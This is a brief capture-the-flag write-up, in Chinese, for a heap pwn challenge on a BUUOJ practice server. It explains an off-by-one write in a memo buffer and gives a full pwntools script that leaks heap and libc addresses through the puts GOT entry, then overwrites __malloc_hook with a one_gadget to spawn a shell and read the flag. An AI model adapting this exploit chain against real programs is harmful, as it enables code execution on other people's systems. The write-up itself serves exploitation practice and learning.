so easy
程序建了管理块0x30 :id:8,memo:0x20,ptr->name
name块:0x20
但在写memo时多写了一个字符
for ( i = 0; i <= 32; ++i ) // 多写一个
{
v1 = getchar();
if ( v1 == 10 )
break;
*v5++ = v1;
}
这就好办了,每edit_memo将name块前提0x20字节,再edit_name将指针改为got,然后show_name得到libc
然后建重来一个,将指针改为malloc_hook,将one_gadget写进去,再去建块触发就行了。
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 25452)
libc_elf = ELF('../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
menu = b':)\n'
def add():
p.sendlineafter(menu, b'1')
def edit_name(idx, name):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"ID:", str(idx).encode())
p.sendlineafter(b"Input name:", name)
def edit_memo(idx, memo):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"ID:", str(idx).encode())
p.sendlineafter(b"Input memo:", memo)
def show_name(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"ID:", str(idx).encode())
def show_memo(idx):
p.sendlineafter(menu, b'5')
p.sendlineafter(b"ID:", str(idx).encode())
add()
edit_memo(0, b'A'*0x20+b'\n')
show_memo(0)
p.recvuntil(b'A'*0x20)
heap_base = u64(p.recvuntil(b'1. ', drop=True).ljust(8, b'\x00')) -0x220
print('heap:', hex(heap_base))
edit_memo(0, b'A'*0x20+b'\x00')
edit_name(0, b'A'*8 + p64(elf.got['puts']))
show_name(0)
libc_base = u64(p.recvuntil(b'1. ', drop=True).ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
add()
edit_memo(1, b'A'*0x20+b'\x70')
edit_name(1, b'A'*8 + p64(libc_elf.sym['__malloc_hook']))
edit_name(1, p64(libc_base + one[3]))
add()
p.sendline(b'cat /flag')
p.interactive()